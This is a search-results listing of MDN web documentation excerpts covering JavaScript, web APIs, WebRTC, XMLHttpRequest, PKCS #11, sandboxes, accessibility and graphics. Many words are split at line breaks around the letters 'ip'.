..."context object". we could also put in layman definitions there for js constructs like functions and variables. --maian 01:43, 30 september 2005 (pdt) we should define the terms we are using. in particular this means we should define activation object somewhere (and link to it whenever we mention it). --nickolay 18:40, 16 july 2006 (pdt) js 1.2 and gecko 1.8 per the fix for bug 255895, "javascr
ipt1.2" values for the scr
ipt's language attribute no longer work, e.g. <scr
ipt language="javascr
ipt1.2"> will execute the scr
ipt in the latest js version rather than js 1.2. so how should this be documented? in fx 1.0, js 1.2 is available, but not in the upcoming fx 1.5. there are 5 cases where "javascr
ipt1.2" is mentioned in this reference: special:search?search=javascr
ipt1.2&go=go. how should the...
... between two versions of js, and if we have a section in the reference that is dedicated to discussing these differences, i would think that those samples should be included in that section of the reference. ...
...And 23 more matches
Introduction to web APIs - Learn web development
overview: client-side web apis next first up, we'll start by looking at apis from a high level -- what are they, how do they work, how to use them in your code, and how are they structured? we'll also take a look at what the different main classes of apis are, and what kind of uses they have. prerequisites: basic computer literacy, a basic understanding of html and css, javascr
ipt basics (see first steps, building blocks, javascr
ipt objects). objective: to gain familiarity with apis, what they can do, and how you can use them in your code. what are apis? application programming interfaces (apis) are constructs made available in programming languages to allow developers to create complex functionality more easily. they abstract more complex code away fr...
... try to wire it directly into the power supply -- to do so would be really inefficient and, if you are not an electrician, difficult and dangerous to attempt. image source: overloaded plug socket by the clear communication people, on flickr. ...
...lear communication people, on flickr. in the same way, if you want to say, program some 3d graphics, it is a lot easier to do it using an api written in a higher-level language such as javascr
ipt or python, rather than try to directly write low level code (say c or c++) that directly controls the computer's gpu or other graphics functions. note: see also the api glossary entry for further descr
iption. apis in client-side javascr
ipt client-side javascr
ipt, in particular, has many apis available to it -- these are not part of the javascr
ipt language itself, rather they are built on top of the core javascr
ipt language, providing you with extra superpowers to use in your javascr
ipt code. they generally fall into two categories: browser apis are built into your web browser and are able t...
...And 23 more matches
Debugger.Source - Firefox Developer Tools
debugger.source a debugger.source instance represents either a piece of javascr
ipt source code or the serialized text of a block of webassembly code. the two cases are distinguished by the latter having its introductiontype property always being "wasm" and the former having its introductiontype property never being "wasm". each debugger instance has a separate collection of debugger.source instances representing the source code that has been presented to the system. a debugger may place its own properties on debugger.source instances, to store metadata about particular pieces of source code. ...
...rty always being "wasm" and the former having its introductiontype property never being "wasm". each debugger instance has a separate collection of debugger.source instances representing the source code that has been presented to the system. a debugger may place its own properties on debugger.source instances, to store metadata about particular pieces of source code. debugger.source for javascr
ipt for a debugger.source instance representing a piece of javascr
ipt source code, its properties provide the source code itself as a string, and describe where it came from. each debugger.scr
ipt instance refers to the debugger.source instance holding the source code from which it was produced. if a single piece of source code contains both top-level code and function definitions, perhaps with nes...
...presenting a piece of javascr
ipt source code, its properties provide the source code itself as a string, and describe where it came from. each debugger.scr
ipt instance refers to the debugger.source instance holding the source code from which it was produced. if a single piece of source code contains both top-level code and function definitions, perhaps with nested functions, then the debugger.scr
ipt instances for those all refer to the same debugger.source instance. each scr
ipt indicates the substring of the overall source to which it corresponds. a debugger.source instance may represent only a portion of a larger source document. for example, an html document can contain javascr
ipt in mult
iple <scr
ipt> elements and event handler content attributes. in this case, there may be either a sing...
...And 23 more matches
RTCPeerConnection - Web APIs
also included is a list of any ice candidates that may already have been generated by the ic...
... which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer connection by returning one of the string values specified by the enum rtcpeerconnectionstate.currentlocaldescr
iption read only the read-only property rtcpeerconnection.currentlocaldescr
iption returns an rtcsessiondescr
iption object describing the local end of the connection as it was most recently successfully negotiated since the last time the rtcpeerconnection finished negotiating and connecting to a remote peer. also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the descr
iption was first ...
...
iption object describing the local end of the connection as it was most recently successfully negotiated since the last time the rtcpeerconnection finished negotiating and connecting to a remote peer. also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the descr
iption was first instantiated.currentremotedescr
iption read only the read-only property rtcpeerconnection.currentremotedescr
iption returns an rtcsessiondescr
iption object describing the remote end of the connection as it was most recently successfully negotiated since the last time the rtcpeerconnection finished negotiating and connecting to a remote peer. also included is a list of any ice candidates that may already have been generated by the i...
...And 23 more matches
Using XMLHttpRequest - Web APIs
ormat that was originally used for asynchronous data exchange were xml handling responses there are several types of response attributes defined by the living standard specification for the xmlhttprequest() constructor. these tell the client making the xmlhttprequest important information about the status of the response. some cases where dealing with non-text response types may involve some man
ipulation and analysis are outlined in the following sections. analyzing and man
ipulating the responsexml property if you use xmlhttprequest to get the content of a remote xml document, the responsexml property will be a dom object containing a parsed xml document. this could prove difficult to man
ipulate and analyze. there are four primary ways of analyzing this xml document: using xpath to ad...
...ly fail. note: xmlhttprequest can now interpret html for you using the responsexml property. read the article about html in xmlhttprequest to learn how to do this. processing a responsetext property containing an html document if you use xmlhttprequest to get the content of a remote html webpage, the responsetext property is a string containing the raw html. this could prove difficult to man
ipulate and analyze. there are three primary ways to analyze and parse this raw html string: use the xmlhttprequest.responsexml property as covered in the article html in xmlhttprequest. inject the content into the body of a document fragment via fragment.body.innerhtml and traverse the dom of the fragment. regexp can be used if you always know the content of the html responsetext beforehand. y...
.... var oreq = new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ... */ however, more modern techniques are available, since the responsetype attribute now supports a number of additional content types, which makes sending and receiving binary data much easier. for example, consider this sn
ippet, which uses the responsetype of "arraybuffer" to fetch the remote content into a arraybuffer object, which stores the raw binary data. var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ... */ } oreq.open("get", url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving bin...
...And 23 more matches
Old Proxy API - Archive of obsolete content
ermonkey proxy implementation is a prototype and the proxy api and semantics specifications are unstable. the spidermonkey implementation may not reflect the latest specification draft. it is subject to change anytime. it is provided as an experimental feature. do not rely on it for production code. introduction proxies are objects for which the programmer has to define the semantics in javascr
ipt. the default object semantics are implemented in the javascr
ipt engine, often written in lower-level languages like c++. proxies let the programmer define most of the behavior of an object in javascr
ipt. they are said to provide a meta-programming api. terminology catch-all mechanism (or "intercession api") the technical term for this feature. handler the object that intercepts properties...
...e fundamental trap to be defined, then an error is thrown. if a derived trap is implemented, then that trap's code is called whenever the corresponding behavior happens on the proxy. if the derived trap is undefined, a default implementation using the fundamental traps is used. in other words: fundamental traps are required, derived traps are optional. ...
...hen an error is thrown. if a derived trap is implemented, then that trap's code is called whenever the corresponding behavior happens on the proxy. if the derived trap is undefined, a default implementation using the fundamental traps is used. in other words: fundamental traps are required, derived traps are optional. ...
...And 22 more matches
Framework main features - Learn web development
previous overview: client-side javascr
ipt frameworks next each major javascr
ipt framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience. this article will explore the main features of "the big 4" frameworks, looking at how frameworks tend to work from a high level, and the differences between them. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to understand the main code features of frameworks. domain-specific languages all of the frameworks discussed in this module are powered by javascr
ipt, and all allow you to use domain-specific languages (dsls) in order to build your applications. in particular, react has popularized the use of js...
... javascr
ipt, and all allow you to use domain-specific languages (dsls) in order to build your applications. in particular, react has popularized the use of jsx for writing its components, while ember utilizes handlebars. unlike html, these languages know how to read data variables, and this data can be used to streamline the process of writing your ui. angular apps often make heavy use of typescr
ipt. typescr
ipt is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla javascr
ipt. dsls can't be read by the browser directly; they must be transformed into javascr
ipt or html first. transformation is an extra step in the development process, but framework tooling generally includes the required tools to handle this ste...
...lopment process, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks. jsx jsx, which stands for javascr
ipt and xml, is an extension of javascr
ipt that brings html-like syntax to a javascr
ipt environment. it was invented by the react team for use in react applications, but can be used to develop other applications -- like vue apps, for instance. the following shows a simple jsx example: const subject = "world"; const header = ( <header> <h1>hello, {subject}!</h1> </header> ); this expressio...
...And 22 more matches
Encrypt Decrypt_MAC_Using Token
, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...e, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...zilla.org/mpl/2.0/. ...
...And 22 more matches
PKCS #11 Module Specs
he application can use the library path to describe the pkcs #11 library in any ui it may have. if the parameter is not specified, no parameters are passed to the pkcs #11 module. if the application/library does not find its application/library specific data, it should use it's defaults for this pkcs #11 library. parameter passing if the parameter is specified, the application/library will str
ip the value out, processing any outter quotes and escapes appropriately, and pass the parameter to the pkcs #11 library when it calls c_initialize(). a new ck_c_initialize_args structure is defined as typedef struct ck_c_initialize_args { ck_createmutex createmutex; ck_destroymutex destroymutex; ck_lockmutex lockmutex; ck_unlockmutex unlockmutex; ck_flags flags; ck_void_ptr librarypar...
...er applications need not parse it, nor pkcs #11 modules need supply them or use them). nss="nss_params" nss_params are themselves name/value pairs, parsed with the same rules described above. valid names inside nss_params are: flags - comma separated list of flag values, parsed case-insensitive. valid flag values are: internal - this library is actually the netscape internal library f
ips - this library is the netscape internal f
ips library. critical - if this library cannot be loaded, completely fail initialization. moduledb - this library includes nss specific functions to supply additional module specs for loading. moduledbonly - this library has no pkcs #11 functions and is only used for loading additional modules. trustorder - integer value specifying the order in whi...
...ons and is only used for loading additional modules. trustorder - integer value specifying the order in which the trust information for certificates specified by tokens on this pkcs #11 library should be rolled up. '0' means that tokens on this library should not supply trust information (default). the relative order of two pkcs#11 libraries which have the same trustorder value is undefined. c
ipherorder - integer value specifiying the order in which tokens are searched when looking for a token to do a generic operation (des/hashing, etc). c
iphers - comma separated list of c
iphers this token will enable that isn't already enabled by the library (currently only fortezza is defined) (case-insensitive). slotparams - space separated list of name/value pairs where the name is a slotid and th...
...And 22 more matches
Web Replay
devtools.recordreplay.logging when enabled, firefox will log web replay's internal actions to the terminal, which is helpful when debugging hangs and crashes. default false architecture there are several main components to the project: the record/replay infrastructure records enough information during recording so that the replayed process can run and produce the same observable behaviors.
ipc integration allows a replaying process to communicate with the chrome process using
ipdl and shared memory. the rewind infrastructure allows a replaying process to restore a previous state, while still maintaining communication with the chrome process. debugger integration allows the js debugger to read the information it needs from a replaying process and control the process's execution (resu...
... (and, by extension, release locks and use condvars) then accesses on lock-protected memory will occur in the same order. atomic variables can be handled by treating reads and writes as if they were wrapped by a lock acquire/release during recording. it is not enough, however, to just record all these non-deterministic sources and reproduce those behaviors exactly in the replaying process. the
ipc and debugger integration components may behave differently between recording and replaying, or between different replays. both of these involve inter-thread communication and calls to non-deterministic apis, and the resulting non-determinism must be allowed within the replaying process. allowed non-determinism there is some slop in this design: the replaying process must be non-deterministic ...
...ntegration components may behave differently between recording and replaying, or between different replays. both of these involve inter-thread communication and calls to non-deterministic apis, and the resulting non-determinism must be allowed within the replaying process. ...
...And 22 more matches
Components.utils.Sandbox
components.utils.sandbox is used to create a sandbox object for use with evalinsandbox(). creating a sandbox to create a new sandbox, call components.utils.sandbox: var sandbox = components.utils.sandbox(princ
ipal[, options]); using new components.utils.sandbox(...) to create a sandbox has the same effect as calling sandbox(...) without new. the created sandbox is simply an empty javascr
ipt object marked as having been created by the restricted privilege princ
ipal. you can then use it with evalinsandbox() to make it the global scope object for the specified scr
ipt. ...
...omponents.utils.sandbox(princ
ipal[, options]); using new components.utils.sandbox(...) to create a sandbox has the same effect as calling sandbox(...) without new. the created sandbox is simply an empty javascr
ipt object marked as having been created by the restricted privilege princ
ipal. you can then use it with evalinsandbox() to make it the global scope object for the specified scr
ipt. princ
ipal the security princ
ipal defined for a sandbox determines what code running in that sandbox will be allowed to do. the princ
ipal may be one of four types: the system princ
ipal, a content princ
ipal, an expanded princ
ipal, or a null princ
ipal. see security checks for more information on security princ
ipals. ...
...ndbox() to make it the global scope object for the specified scr
ipt. princ
ipal the security princ
ipal defined for a sandbox determines what code running in that sandbox will be allowed to do. the princ
ipal may be one of four types: the system princ
ipal, a content princ
ipal, an expanded princ
ipal, or a null princ
ipal. see security checks for more information on security princ
ipals. ...
...And 22 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
it returns an interval id which uniquely identifies the interval, so you can remove it later by calling clearinterval(). this method is defined by the windoworworkerglobalscope mixin. syntax var intervalid = scope.setinterval(func, [delay, arg1, arg2, ...]); var intervalid = scope.setinterval(function[, delay]); var intervalid = scope.setinterval(code, [delay]); parameters func a function to be executed every delay milliseconds. ...
...meter 1', 'parameter 2'); function mycallback(a, b) { // your code here // parameters are purely optional. console.log(a); console.log(b); } example 2: alternating two colors the following example calls the flashtext() function once a second until the stop button is pressed. <!doctype html> <html> <head> <meta charset="utf-8" /> <title>setinterval/clearinterval example</title> <scr
ipt> var nintervid; function changecolor() { nintervid = setinterval(flashtext, 1000); } function flashtext() { var oelem = document.getelementbyid('my_box'); oelem.style.color = oelem.style.color == 'red' ? 'blue' : 'red'; // oelem.style.color == 'red' ? 'blue' : 'red' is a conditional or ternary operator. } function stoptextcolor() { clearin...
...ion changecolor() { nintervid = setinterval(flashtext, 1000); } function flashtext() { var oelem = document.getelementbyid('my_box'); oelem.style.color = oelem.style.color == 'red' ? 'blue' : 'red'; // oelem.style.color == 'red' ? 'blue' : 'red' is a conditional or ternary operator. } function stoptextcolor() { clearinterval(nintervid); } </scr
ipt> </head> <body onload="changecolor();"> <div id="my_box"> <p>hello world</p> </div> <button onclick="stoptextcolor();">stop</button> </body> </html> example 3: typewriter simulation the following example simulates typewriter by first clearing and then slowly typing content into the nodelist that matches a specified group of selectors. <!doctype html> <html> <head> <meta charset="...
...And 22 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
parts of this page show the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. xpinstall is a javascr
ipt-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed. it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their b...
...to run it. this article presents a guideline for improving the plugin installation experience for netscape gecko browsers using xpinstall. a definition of terms xpinstall is an installer technology, and the name itself stands for "cross platform install" (hence "xp" -- an abbreviation for "cross platform"). an xpinstall package is usually called an xpi package for short (and often pronounced "z
ippy"). this article is about how you can use xpinstall to install plugins to the browsers that support xpinstall. an xpi package is in fact a z
ip file with the xpi file extension (e.g. myplugininstaller.xpi), and can be created on windows by utilities such as winz
ip. xpi packages, like z
ip files, "contain" other files, typically: the software component to be installed. in our case, this is the pl...
...ut how you can use xpinstall to install plugins to the browsers that support xpinstall. an xpi package is in fact a z
ip file with the xpi file extension (e.g. myplugininstaller.xpi), and can be created on windows by utilities such as winz
ip. xpi packages, like z
ip files, "contain" other files, typically: the software component to be installed. in our case, this is the plugin software. a javascr
ipt file called install.js, which is the install logic that drives the installation. this includes instructions on where to install the software, and what messages to feed to the user. you can create an xpinstall file by first z
ipping all the items you want installed with winz
ip (create a z
ip archive) and then renaming it with the xpi file extension instead of the z
ip file extension. unlike native ...
...And 21 more matches
Additional Navigation - Archive of obsolete content
<< previousnext >> retrieving literals the tr
iples used so far have all had variables in both the subject and object. however, a string value may be used instead. since the subject of an rdf arc is always a resource, the subject may be a resource uri. the object attribute may be a resource uri or a literal value. using a literal as the object of a tr
iple is a common way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. ...
...e used instead. since the subject of an rdf arc is always a resource, the subject may be a resource uri. the object attribute may be a resource uri or a literal value. using a literal as the object of a tr
iple is a common way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. here is an example tr
iple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <tr
iple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new tr
iple has a static value for the object attribute instead of a variable reference. you might be able to guess that it will cause a match for ...
...r="?start" child="?photo"/> <tr
iple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new tr
iple has a static value for the object attribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match when evaluating the tr
iple. to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/nde...
...And 21 more matches
GLSL Shaders - Game development
glsl is strongly typed and there is a lot of math involving vectors and matrices. it can get very complicated -- very quickly. in this article we will make a simple code example that renders a cube. ...
...glsl is strongly typed and there is a lot of math involving vectors and matrices. it can get very complicated -- very quickly. in this article we will make a simple code example that renders a cube. to speed up the background code we will be using the three.js api. ...
...that space. shader types a shader is essentially a function required to draw something on the screen. shaders run on a gpu (graphics processing unit), which is optimized for such operations. using a gpu to deal with shaders offloads some of the number crunching from the cpu. this allows the cpu to focus its processing power on other tasks, like executing code. vertex shaders vertex shaders man
ipulate coordinates in a 3d space and are called once per vertex. the purpose of the vertex shader is to set up the gl_position variable -- this is a special, global, and built-in glsl variable. gl_position is used to store the position of the current vertex. the void main() function is a standard way of defining the gl_position variable. everything inside void main() will be executed by the verte...
...And 21 more matches
HTML: A good basis for accessibility - Learn web development
as you learn more about html -- read more resources, look at more examples, etc. -- you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html). this means using the correct html elements for their intended purpose as much as possible. you might wonder why this is so important. after all, you can use a combination of css and javascr
ipt to make just about any html element behave in whatever way you want. for example, a control button to play a video on your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some suitable styling applied by default (which you w...
...with a screen reader (see bad-semantics.html), you'll not have a very good experience -- the screen reader hasn't got anything to use as signposts, so you can't retrieve a useful table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once. there are other issues too beyond accessibility -- it is harder to style the content using css, or man
ipulate it with javascr
ipt, for example, because there are no elements to use as selectors. using clear language the language you use can also affect accessibility. in general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang terms. this not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not wr...
... parts of web documents that users interact with -- most commonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be man
ipulated by the keyboard. you can try this out using our native-keyboard-accessibility.html example (see the source code). open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements. the focused elements are given a highlighted default style in every browser (it differs slightly between different brow...
...And 21 more matches
HTML: A good basis for accessibility - Learn web development
as you learn more about html -- read more resources, look at more examples, etc. -- you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html). this means using the correct html elements for their intended purpose as much as possible. you might wonder why this is so important. after all, you can use a combination of css and javascr
ipt to make just about any html element behave in whatever way you want. for example, a control button to play a video on your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some suitable styling applied by default (which you w...
...with a screen reader (see bad-semantics.html), you'll not have a very good experience -- the screen reader hasn't got anything to use as signposts, so you can't retrieve a useful table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once. there are other issues too beyond accessibility -- it is harder to style the content using css, or man
ipulate it with javascr
ipt, for example, because there are no elements to use as selectors. using clear language the language you use can also affect accessibility. in general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang terms. this not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not wr...
... parts of web documents that users interact with -- most commonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be man
ipulated by the keyboard. you can try this out using our native-keyboard-accessibility.html example (see the source code). open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements. the focused elements are given a highlighted default style in every browser (it differs slightly between different brow...
...And 21 more matches
How to build custom form controls - Learn web development
l discuss how to build a custom control. to that end, we will work with an example: rebuilding the <select> element. we will also discuss how, when, and whether building your own control makes sense, and what to consider when building a control is a requirement. note: we'll focus on building the control, not on how to make the code generic and reusable; that would involve some non-trival javascr
ipt code and dom man
ipulation in an unknown context, and that is out of the scope of this article. design, structure, and semantics before building a custom control, you should start by figuring out exactly what you want. this will save you some precious time. in particular, it's important to clearly define all the states of your control. to do this, it's good to start with an existing control wh...
...ore, and therefore which nobody has the slightest idea of what the expected behaviors and interactions are. at least select has been done before, so we know how it should behave! designing new interactions is generally only an option for very large industry players who have enough reach that an interaction they create can become a standard. for example, apple introduced the scroll wheel with the
ipod in 2001. they had the market share to successfully introduce a completely new way of interacting with a device, something most device companies can't do. it is best not to invent new user interactions. for any interaction you do add, it is vital to spend time in the design stage; if you define a behavior poorly, or forget to define one, it will be very hard to redefine it once the users have ...
...s basic functionality has been decided upon, it's time to start building it. the first step is to define its html structure and to give it some basic semantics. here is what we need to rebuild a <select> element: <!-- this is our main container for our control. the tabindex attribute is what allows the user to focus the control. we'll see later that it's better to set it through javascr
ipt. --> <div class="select" tabindex="0"> <!-- this container will be used to display the current value of the control --> <span class="value">cherry</span> <!-- this container will contain all the options available for our control. because it's a list, it makes sense to use the ul element. --> <ul class="optlist"> <!-- each option only contains the value to be displayed, we'll...
...And 21 more matches
Storing the information you need — Variables - Learn web development
previous overview: first steps next after reading the last couple of articles you should now know what javascr
ipt is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. in this article, we will get down to the real basics, looking at how to work with the most basic building blocks of javascr
ipt -- variables. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to gain familiarity with the basics of javascr
ipt variables. tools you need throughout this article, you'll be asked to type in lines of code to test your understanding of the content. if you are using a desktop browser, the best place to ty...
... what is a variable? a variable is a container for a value, like a number we might use in a sum, or a string that we might use as part of a sentence. ...
...t have variables available, we'd have to implement a giant code block that checked what the entered name was, and then display the appropriate message for any name. this is obviously really inefficient (the code is a lot bigger, even for only five choices), and it just wouldn't work -- you couldn't possibly store all possible choices. variables just make sense, and as you learn more about javascr
ipt they will start to become second nature. another special thing about variables is that they can contain just about anything -- not just strings and numbers. variables can also contain complex data and even entire functions to do amazing things. you'll learn more about this as you go along. note: we say variables contain values. this is an important distinction to make. variables aren't the va...
...And 21 more matches
Implementing feature detection - Learn web development
ing on whether it does (or doesn't), so that the browser can always provide a working experience rather than crashing/erroring in some browsers. this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high-level princ
iples of cross-browser testing. objective: to understand what the concept of feature detection is, and be able to implement suitable solutions in css and javascr
ipt. the concept of feature detection the idea behind feature detection is that you can run a test to determine whether a feature is supported in the current browser, and then...
...er, and then conditionally run code to provide an acceptable experience both in browsers that do support the feature, and browsers that don't. if you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. let's recap and look at the example we touched on in our handling common javascr
ipt problems -- the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object. therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getcur...
...ne thing upfront -- don't confuse feature detection with browser sniffing (detecting what specific browser is accessing the site) -- this is a terrible practice that should be discouraged at all costs. see using bad browser sniffing code for more details. writing your own feature detection tests in this section, we'll look at implementing your own feature detection tests, in both css and javascr
ipt. css you can write tests for css features by testing for the existence of element.style.property (e.g. paragraph.style.transform) in javascr
ipt. a classic example might be to test for flexbox support in a browser; for browsers that support the newest flexbox spec, we could use a flexible and robust flex layout. for browsers that don't, we could use a floated layout that works ok, although it ...
...And 21 more matches
Message manager overview
in the initial version of mult
iprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the content processes, also called the child processes, run all web content. different tabs may run in different processes. message managers are designed to enable code in one process to communicate with code in a different process. at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a scr
ipt into a browser frame (essentially, a single browser tab) in the content process. these scr
ipts are called frame scr
ipts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code i...
...to run code in the content process so it can access web content, this is usually the sort of message manager to use. process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process. ...
...eb content, this is usually the sort of message manager to use. process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process. from firefox 38 onwards, they also enable code running in the parent process to load process scr
ipts into the child process. these are like frame scr
ipts, except they are global to the child process. ...
...And 21 more matches
nsIDOMWindowUtils
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46) implemented by: window. ...
...id); void focus(in nsidomelement aelement); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscr
iptcount(); astring getpccountscr
iptsummary(in long ascr
ipt); astring getpccountscr
iptcontents(in long ascr
ipt); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); ...
...read only. exceptions thrown ns_error_not_available there is no current inner window displaydpi float the dpi of the display. read only. doccharsetisforced boolean whether the charset of the window's current document has been fo...
...And 21 more matches
Matrix math for the web - Web APIs
xr (vr and ar) api, and glsl shaders. this article is also available as an mdn content kit. the live examples use a collection of utility functions available under a global object named mdn. transformation matrices there are many types of matrices, but the ones we are interested in are the 3d transformation matrices. these matrices consist of a set of 16 values arranged in a 4x4 grid. ...
...ormation matrices there are many types of matrices, but the ones we are interested in are the 3d transformation matrices. these matrices consist of a set of 16 values arranged in a 4x4 grid. in javascr
ipt, it is easy to represent a matrix as an array. let's begin by considering the identity matrix. this is a special transformation matrix which functions much like the number 1 does in scalar mult
iplication; just like n * 1 = n, mult
iplying any matrix by the identity matrix gives a resulting matrix whose values match the original matrix. ...
...since a 3d point only needs three values (x, y, and z), and the transformation matrix is a 4x4 value matrix, we need to add a fourth dimension to the point. ...
...And 21 more matches
WebRTC connectivity - Web APIs
ation we need to exchange is the offer and answer which just contains the sdp mentioned below. peer a who will be the initiator of the connection, will create an offer. they will then send this offer to peer b using the chosen signal channel. peer b will receive the offer from the signal channel and create an answer. they will then send this back to peer a along the signal channel. ...
...low. peer a who will be the initiator of the connection, will create an offer. they will then send this offer to peer b using the chosen signal channel. peer b will receive the offer from the signal channel and create an answer. they will then send this back to peer a along the signal channel. session descr
iptions the configuration of an endpoint on a webrtc connection is called a session descr
iption. the descr
iption includes information about the kind of media being sent, its format, the transfer protocol being used, the endpoint's
ip address and port, and other information needed to describe a media transfer endpoint. this information is exchanged and stored using session descr
iption protocol (sdp); if you want details on the format of sdp data, you can find it in rfc 2327. when a user...
...ind of media being sent, its format, the transfer protocol being used, the endpoint's
ip address and port, and other information needed to describe a media transfer endpoint. this information is exchanged and stored using session descr
iption protocol (sdp); if you want details on the format of sdp data, you can find it in rfc 2327. when a user starts a webrtc call to another user, a special descr
iption is created called an offer. this descr
iption includes all the information about the caller's proposed configuration for the call. the rec
ipient then responds with an answer, which is a descr
iption of their end of the call. in this way, both devices share with one another the information needed in order to exchange media data. this exchange is handled using interactive connectivity establishme...
...And 21 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
y either the webgl or the webxr api that represents the viewer that you can simply rotate and move around to automatically change what's seen on the screen. in this guide we show how use webgl to simulate camera movements without having a camera to move. these techniques can be used in any webgl (or webxr) project. animating 3d graphics is an area of software development that brings together mult
iple disc
iplines in computer science, mathematics, art, graphic design, kinematics, anatomy, physiology, physics, and cinematography. since we don't have a real camera, we imagine one, reproducing the effect of having a camera, without actually having the ability to move the user around the scene. there are a few articles about the fundamental math, geometry, and other concepts behind webgl and web...
...web webgl model view projection geometry and reference spaces in webxr ed. note: most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownersh
ip is not certain. we hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagrams. or, if you're happy to let us continue to use the images, please let us know so we can credit you properly! cameras and relative movement when a classic live-action movie is filmed, the actors are on a set and move about the set as they perform, with one or m...
... movement of the performers, dollying in and out to achieve emotional impact, and so forth. virtual cameras in webgl (and by extension, in webxr), there is no camera object we can move and rotate, so we have to find a way to fake these movements. since there is no camera, we have to find a way to fake it. fortunately, physicists like galileo, newton, lorentz, and einstein have given us the princ
iple of relativity, which states that the laws of physics have the same form in every frame of reference. that is, no matter where you're standing, the laws of physics work in the same way. by extension, if you and another person are standing in an empty field of solid stone with nothing else visible as far as the eye can see, if you move three meters toward the other person, the result looks the s...
...And 21 more matches
Web video codec guide - Web media technologies
